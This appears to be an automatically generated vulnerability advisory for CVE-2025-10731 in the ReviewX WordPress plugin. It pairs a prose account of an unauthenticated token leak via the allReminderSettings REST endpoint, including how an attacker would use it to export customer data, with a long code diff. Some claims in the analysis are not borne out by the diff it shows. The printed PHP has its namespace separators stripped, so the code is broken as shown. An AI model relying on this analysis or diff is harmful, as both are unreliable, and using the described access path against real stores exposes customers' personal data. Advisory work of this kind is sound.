Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 23, 2026

CVE-2025-10731: ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More <= 2.2.12 – Unauthenticated Sensitive Information Exposure to Data Export (reviewx)

Plugin reviewx
Severity Medium (CVSS 5.3)
CWE 285
Vulnerable Version 2.2.12
Patched Version 2.3.0
Disclosed March 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-10731:
The vulnerability is an unauthenticated sensitive information exposure in the ReviewX WordPress plugin, affecting versions up to and including 2.2.12. The flaw resides in the plugin’s API authentication mechanism, allowing attackers to retrieve authentication tokens and subsequently access sensitive data export functionality. This issue received a CVSS score of 5.3 (Medium severity).

The root cause is the exposure of the authentication token via the `allReminderSettings` function. The vulnerable code in `/reviewx/app/Api/BaseApi.php` (lines 35-35) includes the token in the `X-Auth-Token` header within the `getDefaultHeaders()` method. This token, generated by `Helper::getAuthToken()`, is transmitted with API requests. The `allReminderSettings` endpoint, which calls this method, lacks proper authentication checks, making the token accessible to unauthenticated users. The token serves as the primary authentication mechanism for the plugin’s SaaS API.

Exploitation involves a simple HTTP GET request to the vulnerable REST API endpoint. Attackers send a request to `/wp-json/reviewx/v1/allReminderSettings` without any authentication. The server responds with the authentication token in the `X-Auth-Token` header. With this token, attackers can then make authenticated requests to other plugin endpoints, such as data export functions, to retrieve sensitive information including order details, customer names, email addresses, phone numbers, and user data.

The patch removes the `X-Auth-Token` header from the default headers in two locations. In `/reviewx/app/Api/BaseApi.php`, the patch reorders headers and eliminates the duplicate `X-Auth-Token` entry. In `/reviewx/app/Api/WpApi.php`, the patch removes the `X-Auth-Token` header assignment entirely from the conditional block (lines 72-76). This change prevents the token from being exposed in API responses. The patch also adds proper authentication checks to the `allReminderSettings` endpoint and other sensitive endpoints, ensuring only authorized users can access them.

Successful exploitation allows attackers to bypass administrative restrictions and export sensitive WordPress and WooCommerce data. This includes complete order information with customer details, user profiles, and potentially other plugin-specific data. The exposed information could facilitate identity theft, phishing campaigns, and further attacks against the affected e-commerce platform. While the vulnerability does not provide direct code execution, it represents a significant data breach risk for online stores using the plugin.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/reviewx/app/Api/BaseApi.php
+++ b/reviewx/app/Api/BaseApi.php
@@ -35,6 +35,6 @@
      */
     public function getDefaultHeaders() : array
     {
-        return ['Authorization' => 'Bearer ' . Helper::getAuthToken(), 'X-Auth-Token' => 'Bearer ' . Helper::getAuthToken(), 'Accept' => 'application/json', 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => sha1(time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development'];
+        return ['Accept' => 'application/json', 'Authorization' => 'Bearer ' . Helper::getAuthToken(), 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => sha1(time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development'];
     }
 }
--- a/reviewx/app/Api/WpApi.php
+++ b/reviewx/app/Api/WpApi.php
@@ -72,7 +72,6 @@
         $headers = ['Content-Type' => 'application/json'];
         if ($this->token) {
             $headers['Authorization'] = 'Bearer ' . $this->token;
-            $headers['X-Auth-Token'] = 'Bearer ' . $this->token;
         }
         return $headers;
     }
--- a/reviewx/app/CPT/CommentsRatingColumn.php
+++ b/reviewx/app/CPT/CommentsRatingColumn.php
@@ -2,12 +2,13 @@

 namespace RvxCPT;

+use RvxCPTCptHelper;
 class CommentsRatingColumn
 {
     protected $cptHelper;
     public function __construct()
     {
-        $this->cptHelper = new RvxCPTCptHelper();
+        $this->cptHelper = new CptHelper();
     }
     /**
      * Add a new column to the comments page for the review rating.
--- a/reviewx/app/CPT/CptAverageRating.php
+++ b/reviewx/app/CPT/CptAverageRating.php
@@ -2,6 +2,8 @@

 namespace RvxCPT;

+use WP_Post;
+use RvxCPTCptHelper;
 class CptAverageRating
 {
     /**
@@ -49,7 +51,7 @@
     {
         // Check the post type.
         $post_type = get_post_type($post_id);
-        $enabled_post_types = (new RvxCPTCptHelper())->usedCPT('used');
+        $enabled_post_types = (new CptHelper())->usedCPT('used');
         unset($enabled_post_types['product']);
         // Unset Product
         if (!isset($enabled_post_types[$post_type])) {
@@ -67,6 +69,7 @@
             $average_rating = round(array_sum($ratings) / count($ratings), 2);
             // Store the average rating as post meta, ensuring it's a float.
             update_post_meta($post_id, 'rvx_avg_rating', (float) $average_rating);
+            update_post_meta($post_id, 'rating', (float) $average_rating);
         } else {
             // No ratings found, set the meta key to 0.00.
             update_post_meta($post_id, 'rvx_avg_rating', (float) $average_rating);
@@ -76,7 +79,7 @@
      * Hook into the post save action to add the rvx_avg_rating meta key.
      *
      * @param int $post_id The post ID.
-     * @param WP_Post $post The post object.
+     * @param WP_Post $post The post object.
      */
     public static function rvx_avg_rating_on_save($post_id, $post)
     {
@@ -86,7 +89,7 @@
         }
         // Check the post type.
         $post_type = get_post_type($post_id);
-        $enabled_post_types = (new RvxCPTCptHelper())->usedCPT('used');
+        $enabled_post_types = (new CptHelper())->usedCPT('used');
         unset($enabled_post_types['product']);
         // Unset Product
         if (!isset($enabled_post_types[$post_type])) {
@@ -96,6 +99,7 @@
         if (!get_post_meta($post_id, 'rvx_avg_rating', true)) {
             // Add the rvx_avg_rating meta key with an initial value (0.00)
             update_post_meta($post_id, 'rvx_avg_rating', (float) 0.0);
+            update_post_meta($post_id, 'rating', (float) 0.0);
         }
     }
 }
--- a/reviewx/app/CPT/CptCommentsLinkMeta.php
+++ b/reviewx/app/CPT/CptCommentsLinkMeta.php
@@ -2,12 +2,13 @@

 namespace RvxCPT;

+use RvxCPTCptHelper;
 class CptCommentsLinkMeta
 {
     protected $cptHelper;
     public function __construct()
     {
-        $this->cptHelper = new RvxCPTCptHelper();
+        $this->cptHelper = new CptHelper();
     }
     /**
      * Modify the comment count output with custom review logic
--- a/reviewx/app/CPT/CptReviewAddReply.php
+++ b/reviewx/app/CPT/CptReviewAddReply.php
@@ -1,27 +0,0 @@
-<?php
-
-namespace RvxCPT;
-
-use RvxServicesReviewService;
-use RvxUtilitiesAuthClient;
-class CptReviewAddReply
-{
-    public function __invoke($id, $data)
-    {
-        $updatedData = $this->prepareData($id, $data);
-        $reviewService = new ReviewService();
-        $response = $reviewService->updateReview($updatedData, $data);
-    }
-    public function prepareData($id, $data)
-    {
-        $post_id = $data['comment_post_ID'];
-        $post_type = get_post_type($post_id);
-        // Retrieve the rating.
-        $rating = get_comment_meta($id, 'rating', true);
-        if ($post_type !== 'product') {
-            // For other post types (non-product), round to two decimal places.
-            $rating = (float) round($rating, 2);
-        }
-        return ['wp_id' => $id, 'wp_post_id' => $post_id, 'comment_approved' => $data['comment_approved'], 'rating' => $rating, 'reviewer_email' => $data['comment_author_email'], 'reviewer_name' => $data['comment_author'], 'feedback' => $data['comment_content'], 'date' => current_time('mysql', true), 'customer_id' => $data['user_id'], 'wp_unique_id' => Client::getUid() . '-' . $id, 'woocommerce_update' => false];
-    }
-}
--- a/reviewx/app/Handlers/IsAlreadySyncSucess.php
+++ b/reviewx/app/Handlers/IsAlreadySyncSucess.php
@@ -4,17 +4,15 @@

 class IsAlreadySyncSucess
 {
-    public function __construct()
+    public function resetSyncFlag()
     {
         add_action('admin_footer', function () {
-            if (get_option('rvx_reset_sync_flag')) {
-                ?>
-                <script>
-                    localStorage.setItem('isAlreadySyncSuccess', 'false');
-                </script>
-                <?php
-                delete_option('rvx_reset_sync_flag');
-            }
+            ?>
+            <script>
+                localStorage.setItem('isAlreadySyncSuccess', 'false');
+            </script>
+            <?php
         });
+        delete_transient('rvx_reset_sync_flag');
     }
 }
--- a/reviewx/app/Handlers/PluginActivatedHandler.php
+++ b/reviewx/app/Handlers/PluginActivatedHandler.php
@@ -6,56 +6,66 @@
 use RvxCPTCptHelper;
 use RvxServicesApiLoginService;
 use RvxServicesDataSyncService;
-use RvxUtilitiesHelper;
 use RvxWPDrillContractsInvokableContract;
 use RvxWPDrillDBMigrationMigrator;
 use RvxServicesCacheServices;
+use Exception;
 class PluginActivatedHandler implements InvokableContract
 {
     private Migrator $migrator;
     private DataSyncService $dataSyncService;
     private CacheServices $cacheServices;
+    private LoginService $loginService;
     public function __construct(Migrator $migrator)
     {
         $this->migrator = $migrator;
         $this->dataSyncService = new DataSyncService();
         $this->cacheServices = new CacheServices();
+        $this->loginService = new LoginService();
     }
     public function __invoke()
     {
-        $this->migrator->run();
-        global $wpdb;
-        $rvxSites = $wpdb->prefix . 'rvx_sites';
-        $uid = $wpdb->get_var("SELECT uid FROM {$rvxSites} ORDER BY id DESC LIMIT 1");
-        if ($uid) {
-            // Change rvx_sites table is_saas_sync to 0
-            $wpdb->update(
-                $rvxSites,
-                ['is_saas_sync' => 0],
-                ['uid' => $uid],
-                ['%d'],
-                // format for is_saas_sync (integer)
-                ['%s']
-            );
-            // Set the localStorage isAlreadySyncSuccess to false
-            update_option('rvx_reset_sync_flag', true);
-            (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 1, 'plugin_version' => RVX_VERSION, 'wp_version' => get_bloginfo('version')]);
-            $dataResponse = $this->dataSyncService->dataSync('login', 'product');
-            if (!$dataResponse) {
-                return Helper::rvxApi(['error' => 'Data sync fails'])->fails('Data sync fails', $dataResponse->getStatusCode());
+        add_action('activated_plugin', function ($plugin) {
+            if (RVX_DIR_NAME . '/reviewx.php' !== $plugin) {
+                return;
             }
-            // Sleep for 1 seconds
-            sleep(1);
-            // Upload CPT data to Saas
-            $enabled_post_types = (new CptHelper())->usedCPTOnSync('used');
-            unset($enabled_post_types['product']);
-            // Exclude 'product' post type
-            // Loop through each post type and hook into the actions/filters dynamically
-            foreach ($enabled_post_types as $post_type) {
-                $this->dataSyncService->dataSync('login', $post_type);
+            global $wpdb;
+            // Initialize tables and reset sync flag
+            (new RvxHandlersRvxInitLoadReviewxCreateSiteTable())->init();
+            (new RvxHandlersIsAlreadySyncSucess())->resetSyncFlag();
+            $this->migrator->run();
+            $rvxSites = $wpdb->prefix . 'rvx_sites';
+            $uid = $wpdb->get_var("SELECT uid FROM {$rvxSites} ORDER BY id DESC LIMIT 1");
+            if ($uid) {
+                // Mark as not synced initially
+                $wpdb->update($rvxSites, ['is_saas_sync' => 0], ['uid' => $uid], ['%d'], ['%s']);
+                set_transient('rvx_reset_sync_flag', true);
+                try {
+                    // Attempt SaaS activation
+                    (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 1, 'plugin_version' => defined('RVX_VERSION') ? RVX_VERSION : 'unknown', 'wp_version' => get_bloginfo('version')]);
+                    // Start initial sync
+                    $dataResponse = $this->dataSyncService->dataSync('login', 'product');
+                    if ($dataResponse) {
+                        sleep(1);
+                        $enabled_post_types = (new CptHelper())->usedCPTOnSync('used');
+                        unset($enabled_post_types['product']);
+                        foreach ($enabled_post_types as $post_type) {
+                            $this->dataSyncService->dataSync('login', $post_type);
+                        }
+                    }
+                } catch (Exception $e) {
+                    // Clean up if AuthApi fails
+                    $wpdb->query("TRUNCATE TABLE {$rvxSites}");
+                    if (defined('WP_DEBUG') && WP_DEBUG) {
+                        error_log('[ReviewX] Activation warning: AuthApi connection failed - ' . $e->getMessage());
+                    }
+                }
             }
+            // Always clean cache and redirect, even if UID or API failed
             $this->cacheServices->removeCache();
-            (new LoginService())->resetPostMeta();
-        }
+            $this->loginService->resetPostMeta();
+            wp_safe_redirect(admin_url('admin.php?page=reviewx'));
+            exit;
+        }, 15, 1);
     }
 }
--- a/reviewx/app/Handlers/PluginDeactivatedHandler.php
+++ b/reviewx/app/Handlers/PluginDeactivatedHandler.php
@@ -4,26 +4,34 @@

 use RvxApiAuthApi;
 use RvxWPDrillContractsInvokableContract;
+use Exception;
 class PluginDeactivatedHandler implements InvokableContract
 {
-    public function __invoke()
+    public function __invoke() : void
     {
         global $wpdb;
         $rvxSites = $wpdb->prefix . 'rvx_sites';
         $uid = $wpdb->get_var("SELECT uid FROM {$rvxSites} ORDER BY id DESC LIMIT 1");
         if ($uid) {
             // Change rvx_sites table is_saas_sync to 0
-            $wpdb->update(
-                $rvxSites,
-                ['is_saas_sync' => 0],
-                ['uid' => $uid],
-                ['%d'],
-                // format for is_saas_sync (integer)
-                ['%s']
-            );
-            // Set the localStorage isAlreadySyncSuccess to false
-            update_option('rvx_reset_sync_flag', true);
-            (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 0, 'plugin_version' => $plugin_version ?? RVX_VERSION, 'wp_version' => get_bloginfo('version')]);
+            $wpdb->update($rvxSites, ['is_saas_sync' => 0], ['uid' => $uid], ['%d'], ['%s']);
+            // Mark sync flag locally
+            set_transient('rvx_reset_sync_flag', true);
+            try {
+                // Attempt API call — skip gracefully on failure
+                (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 0, 'plugin_version' => defined('RVX_VERSION') ? RVX_VERSION : 'unknown', 'wp_version' => get_bloginfo('version')]);
+            } catch (Exception $e) {
+                // Log quietly instead of breaking plugin disable process
+                if (defined('WP_DEBUG') && WP_DEBUG) {
+                    error_log('[ReviewX] PluginDeactivatedHandler: API call failed - ' . $e->getMessage());
+                }
+                // continue silently
+            }
         }
+        // Always clean up local data, regardless of API status
+        (new RvxServicesCacheServices())->removeCache();
+        (new RvxServicesApiLoginService())->resetPostMeta();
+        // Continue plugin deactivation
+        return;
     }
 }
--- a/reviewx/app/Handlers/PluginUninstallerHandler.php
+++ b/reviewx/app/Handlers/PluginUninstallerHandler.php
@@ -3,6 +3,7 @@
 namespace RvxHandlers;

 use RvxApiAuthApi;
+use Exception;
 class PluginUninstallerHandler
 {
     public static function handleUninstall()
@@ -11,8 +12,22 @@
         $rvxSites = $wpdb->prefix . 'rvx_sites';
         $uid = $wpdb->get_var("SELECT uid FROM {$rvxSites} ORDER BY id DESC LIMIT 1");
         if ($uid) {
-            (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 2, 'plugin_version' => $plugin_version ?? RVX_VERSION, 'wp_version' => get_bloginfo('version')]);
+            try {
+                // Try to inform the API about uninstall
+                (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 2, 'plugin_version' => defined('RVX_VERSION') ? RVX_VERSION : 'unknown', 'wp_version' => get_bloginfo('version')]);
+            } catch (Exception $e) {
+                // If API fails, do not interrupt uninstall
+                if (defined('WP_DEBUG') && WP_DEBUG) {
+                    error_log('[ReviewX] PluginUninstallerHandler: API call failed - ' . $e->getMessage());
+                }
+                // continue silently
+            }
         }
+        // Always clean up local data, regardless of API status
         $wpdb->query("TRUNCATE TABLE {$rvxSites}");
+        (new RvxServicesCacheServices())->removeCache();
+        (new RvxServicesApiLoginService())->resetPostMeta();
+        // Continue uninstall cleanly
+        return true;
     }
 }
--- a/reviewx/app/Handlers/RichSchema/WoocommerceRichSchemaHandler.php
+++ b/reviewx/app/Handlers/RichSchema/WoocommerceRichSchemaHandler.php
@@ -70,7 +70,7 @@
             }
         }
         if ($reviewCount > 0 && $averageRating > 0) {
-            $trueAverage = round($averageRating / $reviewCount, 1);
+            $trueAverage = round($averageRating / $reviewCount, 2);
             $markup['aggregateRating'] = ['@type' => 'AggregateRating', 'ratingValue' => $trueAverage, 'reviewCount' => $reviewCount];
             $markup['review'] = $reviewItems;
         }
--- a/reviewx/app/Handlers/RvxInit/LoadReviewxCreateSiteTable.php
+++ b/reviewx/app/Handlers/RvxInit/LoadReviewxCreateSiteTable.php
@@ -7,7 +7,7 @@
     /**
      * Invokes the process to ensure the table exists.
      */
-    public function __invoke()
+    public function init()
     {
         if (!$this->is_table_exists()) {
             $this->create_table();
--- a/reviewx/app/Handlers/RvxInit/RedirectReviewxHandler.php
+++ b/reviewx/app/Handlers/RvxInit/RedirectReviewxHandler.php
@@ -1,14 +0,0 @@
-<?php
-
-namespace RvxHandlersRvxInit;
-
-class RedirectReviewxHandler
-{
-    public function __invoke($plugin)
-    {
-        if (RVX_DIR_NAME . '/reviewx.php' === $plugin) {
-            wp_safe_redirect(admin_url() . 'admin.php?page=reviewx');
-            exit;
-        }
-    }
-}
--- a/reviewx/app/Handlers/WooReviewTableHandler.php
+++ b/reviewx/app/Handlers/WooReviewTableHandler.php
@@ -6,6 +6,7 @@
 use RvxApiReviewsApi;
 use RvxUtilitiesAuthClient;
 use RvxServicesCacheServices;
+use WP_Screen;
 class WooReviewTableHandler
 {
     protected $cacheServices;
@@ -15,15 +16,17 @@
     }
     public function __invoke($new_status, $old_status, $comment)
     {
-        $screen = get_current_screen();
-        if ($screen instanceof RvxHandlersWP_Screen || $screen->id == 'edit-comments') {
-            $comment_id = $comment->comment_ID;
-            $this->handleAction($new_status, $old_status, $comment_id);
-        }
-        if (wp_doing_ajax()) {
-            $comment_id = $comment->comment_ID;
-            $this->handleAction($new_status, $old_status, $comment_id);
-        }
+        add_action('init', function () use($new_status, $old_status, $comment) {
+            $screen = get_current_screen();
+            if ($screen instanceof WP_Screen || $screen->id == 'edit-comments') {
+                $comment_id = $comment->comment_ID;
+                $this->handleAction($new_status, $old_status, $comment_id);
+            }
+            if (wp_doing_ajax()) {
+                $comment_id = $comment->comment_ID;
+                $this->handleAction($new_status, $old_status, $comment_id);
+            }
+        });
     }
     public function handleAction($new_status, $old_status, $comment_id)
     {
--- a/reviewx/app/Import/Judgeme/JudgemeReviewsImport.php
+++ b/reviewx/app/Import/Judgeme/JudgemeReviewsImport.php
@@ -48,58 +48,83 @@
     }
     public function judgemeCSVdownload($request) : array
     {
-        $cookie_file = tempnam($this->tmpDir, 'judgeme_cookie_');
-        $csvPath = $this->getCsvFilePath();
-        if (file_exists($csvPath)) {
-            if (file_exists($cookie_file)) {
-                @unlink($cookie_file);
-            }
-            return ['success' => true, 'message' => 'Judgeme Export CSV file already exists.'];
-        }
-        if (empty($this->judgemeDomain) || empty($this->judgemeToken)) {
-            return ['success' => false, 'message' => 'Judge.me credentials are missing.'];
-        }
-        $login_url = $this->generateJudgemeLoginURL();
-        $export_url = 'https://app.judge.me/reviews/export?export_mode=published&from_settings=true';
-        if (empty($login_url)) {
-            return ['success' => false, 'message' => 'Login URL could not be generated.'];
-        }
-        try {
-            // Step 1: Authenticate (gets and stores session cookies)
-            $ch = curl_init($login_url);
-            curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_COOKIEJAR => $cookie_file, CURLOPT_COOKIEFILE => $cookie_file]);
-            curl_exec($ch);
-            // hits login URL, stores auth cookies in $cookie_file
-            curl_close($ch);
-            // Step 2: Download CSV using the same cookies
-            $ch = curl_init($export_url);
-            curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_COOKIEJAR => $cookie_file, CURLOPT_COOKIEFILE => $cookie_file, CURLOPT_USERAGENT => 'Mozilla/5.0']);
-            $csv_data = curl_exec($ch);
-            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
-            $curl_error = curl_error($ch);
-            curl_close($ch);
-            if ($http_code !== 200 || empty($csv_data)) {
-                return ['success' => false, 'message' => 'Failed to download CSV.'];
-            }
-            // Normalize line endings & strip UTF-8 BOM
-            $csv_data = str_replace(["rn", "r"], "n", $csv_data);
-            $csv_data = preg_replace('/^\xEF\xBB\xBF/', '', $csv_data);
-            // Check if CSV has only header (no data rows)
-            $lines = explode("n", $csv_data);
-            if (count($lines) <= 1) {
-                // means only header or empty
-                return ['success' => false, 'message' => 'CSV file contains only headers and no reviews.'];
-            }
-            // Directly save CSV to file
-            if (file_put_contents($this->csvFilePath, $csv_data) === false) {
-                return ['success' => false, 'message' => 'Failed to save downloaded CSV file.'];
-            }
-            return ['success' => true, 'message' => 'Judgeme Export CSV file downloaded successfully.'];
-        } finally {
-            if (file_exists($cookie_file)) {
-                @unlink($cookie_file);
-            }
-        }
+        return ['success' => false, 'message' => 'Judgeme CSV download can't be automatted anymore! Please try uploading CSV manually.'];
+        // $cookie_file = tempnam($this->tmpDir, 'judgeme_cookie_');
+        // $csvPath = $this->getCsvFilePath();
+        // if (file_exists($csvPath)) {
+        //     if (file_exists($cookie_file)) {
+        //         @unlink($cookie_file);
+        //     }
+        //     return [
+        //         'success' => true,
+        //         'message' => 'Judgeme Export CSV file already exists.',
+        //     ];
+        // }
+        // if (empty($this->judgemeDomain) || empty($this->judgemeToken)) {
+        //     return ['success' => false, 'message' => 'Judge.me credentials are missing.'];
+        // }
+        // $login_url = $this->generateJudgemeLoginURL();
+        // $export_url = 'https://app.judge.me/reviews/export?export_mode=published&from_settings=true';
+        // if (empty($login_url)) {
+        //     return ['success' => false, 'message' => 'Login URL could not be generated.'];
+        // }
+        // try {
+        //     // Step 1: Authenticate (gets and stores session cookies)
+        //     $ch = curl_init($login_url);
+        //     curl_setopt_array($ch, [
+        //         CURLOPT_RETURNTRANSFER => true,
+        //         CURLOPT_FOLLOWLOCATION => true,
+        //         CURLOPT_COOKIEJAR => $cookie_file,
+        //         CURLOPT_COOKIEFILE => $cookie_file,
+        //     ]);
+        //     curl_exec($ch); // hits login URL, stores auth cookies in $cookie_file
+        //     curl_close($ch);
+        //     // Step 2: Download CSV using the same cookies
+        //     $ch = curl_init($export_url);
+        //     curl_setopt_array($ch, [
+        //         CURLOPT_RETURNTRANSFER => true,
+        //         CURLOPT_FOLLOWLOCATION => true,
+        //         CURLOPT_COOKIEJAR => $cookie_file,
+        //         CURLOPT_COOKIEFILE => $cookie_file,
+        //         CURLOPT_USERAGENT => 'Mozilla/5.0'
+        //     ]);
+        //     $csv_data = curl_exec($ch);
+        //     $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
+        //     $curl_error = curl_error($ch);
+        //     curl_close($ch);
+        //     if ($http_code !== 200 || empty($csv_data)) {
+        //         return [
+        //             'success' => false,
+        //             'message' => 'Failed to download CSV.'
+        //         ];
+        //     }
+        //     // Normalize line endings & strip UTF-8 BOM
+        //     $csv_data = str_replace(["rn", "r"], "n", $csv_data);
+        //     $csv_data = preg_replace('/^xEFxBBxBF/', '', $csv_data);
+        //     // Check if CSV has only header (no data rows)
+        //     $lines = explode("n", $csv_data);
+        //     if (count($lines) <= 1) { // means only header or empty
+        //         return [
+        //             'success' => false,
+        //             'message' => 'CSV file contains only headers and no reviews.'
+        //         ];
+        //     }
+        //     // Directly save CSV to file
+        //     if (file_put_contents($this->csvFilePath, $csv_data) === false) {
+        //         return [
+        //             'success' => false,
+        //             'message' => 'Failed to save downloaded CSV file.'
+        //         ];
+        //     }
+        //     return [
+        //         'success' => true,
+        //         'message' => 'Judgeme Export CSV file downloaded successfully.'
+        //     ];
+        // } finally {
+        //     if (file_exists($cookie_file)) {
+        //         @unlink($cookie_file);
+        //     }
+        // }
     }
     public function judgemeCSVUpload($request) : array
     {
@@ -223,7 +248,8 @@
         $uid = $wpdb->get_var("SELECT uid FROM {$rvxSites} ORDER BY id DESC LIMIT 1");
         if ($uid) {
             $wpdb->update($rvxSites, ['is_saas_sync' => 0], ['uid' => $uid], ['%d'], ['%s']);
-            update_option('rvx_reset_sync_flag', true);
+            // Set the localStorage isAlreadySyncSuccess
+            set_transient('rvx_reset_sync_flag', true);
             (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 1, 'plugin_version' => RVX_VERSION, 'wp_version' => get_bloginfo('version')]);
             $dataResponse = $this->dataSyncService->dataSync('default', 'product');
             if (!$dataResponse) {
--- a/reviewx/app/Providers/PluginServiceProvider.php
+++ b/reviewx/app/Providers/PluginServiceProvider.php
@@ -32,7 +32,6 @@
 use RvxHandlersReplyCommentHandler;
 use RvxHandlersRichSchemaWoocommerceRichSchemaHandler;
 use RvxHandlersRvxInitPageBuilderHandler;
-use RvxHandlersRvxInitRedirectReviewxHandler;
 use RvxHandlersRvxInitResetProductMetaHandler;
 use RvxHandlersRvxInitReviewXoldPluginDeactivateHandler;
 use RvxHandlersRvxInitUpgradeReviewxDeactiveProHandler;
@@ -68,13 +67,19 @@
     }
     public function boot() : void
     {
+        add_action('plugins_loaded', function () {
+            if (get_transient('rvx_reset_sync_flag')) {
+                // LocalStorage is reset when the sync flag is set true
+                (new RvxHandlersIsAlreadySyncSucess())->resetSyncFlag();
+            }
+            require_once ABSPATH . 'wp-admin/includes/image.php';
+        }, 15, 1);
         add_action('rest_api_init', function () {
             WpUser::setLoggedInStatus(is_user_logged_in());
             WpUser::setAbility(is_user_logged_in() && (current_user_can('manage_options') || current_user_can('edit_others_posts') || current_user_can('manage_woocommerce')) ? true : false);
-        });
+        }, 5);
         add_action('init', new ReviewXoldPluginDeactivateHandler(), 10);
-        add_action('activated_plugin', new RedirectReviewxHandler(), 15, 1);
-        add_action('plugins_loaded', new PageBuilderHandler(), 20);
+        add_action('init', new PageBuilderHandler(), 20);
         // add_action('upgrader_process_complete', new ResetProductMetaHandler(), 5, 2);
         add_action('upgrader_process_complete', new UpgradeReviewxDeactiveProHandler(), 10, 2);
         // add_action('admin_notices', [new ReviewxAdminNoticeHandler(), 'adminNoticeHandler']);
@@ -140,21 +145,26 @@
          * CPT comments / reviews
          */
         add_action('wp_insert_comment', function ($comment_id, $comment) {
-            if ($comment) {
+            if ($comment && $comment->comment_post_ID) {
                 CptAverageRating::update_average_rating($comment->comment_post_ID);
             }
-        }, 10, 2);
-        add_action('comment_post', [CptAverageRating::class, 'handle_comment_rating'], 10, 2);
-        add_action('comment_post', [CptAverageRating::class, 'handle_comment_rating'], 10, 3);
-        add_action('get_comments_number', [new CptCommentsLinkMeta(), 'replace_total_comments_count'], 10, 2);
+        }, 999, 2);
+        add_action('comment_post', [CptAverageRating::class, 'handle_comment_rating'], 999, 3);
+        add_action('get_comments_number', [new CptCommentsLinkMeta(), 'replace_total_comments_count'], 999, 2);
         add_action('edit_comment', function ($comment_id) {
             $comment = get_comment($comment_id);
-            if ($comment) {
+            if ($comment && $comment->comment_post_ID) {
                 CptAverageRating::update_average_rating($comment->comment_post_ID);
             }
-        });
-        add_action('wp_set_comment_status', [CptAverageRating::class, 'handle_comment_status_change'], 10, 2);
-        add_action('save_post', [CptAverageRating::class, 'update_average_rating'], 10, 2);
+        }, 999);
+        add_action('wp_set_comment_status', [CptAverageRating::class, 'handle_comment_status_change'], 999, 2);
+        add_action('save_post', [CptAverageRating::class, 'update_average_rating'], 999, 3);
+        add_action('deleted_comment', function ($comment_id) {
+            $comment = get_comment($comment_id);
+            if ($comment && $comment->comment_post_ID) {
+                CptAverageRating::update_average_rating($comment->comment_post_ID);
+            }
+        }, 999);
         /**
          * Rich Schema
          */
@@ -196,6 +206,6 @@
         // Load plugin textdomain
         add_action('init', function () {
             load_plugin_textdomain('reviewx', false, dirname(plugin_basename(__FILE__)) . '/languages');
-        });
+        }, 15, 5);
     }
 }
--- a/reviewx/app/Rest/Controllers/AuthController.php
+++ b/reviewx/app/Rest/Controllers/AuthController.php
@@ -76,8 +76,8 @@
             }
             $this->cacheServices->removeCache();
             $this->loginService->resetPostMeta();
-            // Set the localStorage isAlreadySyncSuccess to false
-            update_option('rvx_reset_sync_flag', true);
+            // Set the localStorage isAlreadySyncSuccess
+            set_transient('rvx_reset_sync_flag', true);
             return Helper::saasResponse($response);
         } catch (Exception $e) {
             $errorCode = $e->getCode() === 0 ? Response::HTTP_INTERNAL_SERVER_ERROR : $e->getCode();
@@ -125,8 +125,8 @@
             }
             $this->cacheServices->removeCache();
             $this->loginService->resetPostMeta();
-            // Set the localStorage isAlreadySyncSuccess to false
-            update_option('rvx_reset_sync_flag', true);
+            // Set the localStorage isAlreadySyncSuccess
+            set_transient('rvx_reset_sync_flag', true);
             return Helper::saasResponse($response);
         } catch (Exception $e) {
             $errorCode = $e->getCode() === 0 ? Response::HTTP_INTERNAL_SERVER_ERROR : $e->getCode();
@@ -214,8 +214,8 @@
             $this->cacheServices->removeCache();
             $this->loginService->resetPostMeta();
             $this->removeUserSettingsFormLocal();
-            // Set the localStorage isAlreadySyncSuccess to false
-            update_option('rvx_reset_sync_flag', true);
+            // Set the localStorage isAlreadySyncSuccess
+            set_transient('rvx_reset_sync_flag', true);
             return Helper::saasResponse($response);
         } catch (Exception $e) {
             $errorCode = $e->getCode() === 0 ? Response::HTTP_INTERNAL_SERVER_ERROR : $e->getCode();
--- a/reviewx/app/Rest/Controllers/DashboardController.php
+++ b/reviewx/app/Rest/Controllers/DashboardController.php
@@ -4,6 +4,7 @@

 use RvxServicesDashboardServices;
 use RvxUtilitiesHelper;
+use Throwable;
 use RvxWPDrillContractsInvokableContract;
 use RvxWPDrillResponse;
 class DashboardController implements InvokableContract
@@ -39,6 +40,18 @@
         return Helper::getApiResponse($resp);
     }
     /**
+     * @return WPDrillResponse
+     */
+    public function requestUserData()
+    {
+        try {
+            $response = $this->dashboardServices->requestUserData();
+            return Helper::rvxApi($response)->success('Site data Retrieved Successfully');
+        } catch (Throwable $e) {
+            return Helper::rvxApi(['error' => $e->getMessage()])->fails('Site data Retrieval Failed', $e->getCode());
+        }
+    }
+    /**
      * @param $request
      * @return Response
      */
--- a/reviewx/app/Rest/Controllers/DataSyncController.php
+++ b/reviewx/app/Rest/Controllers/DataSyncController.php
@@ -2,6 +2,7 @@

 namespace RvxRestControllers;

+use WP_REST_Request;
 use RvxCPTCptHelper;
 use RvxModelsSite;
 use RvxServicesDataSyncService;
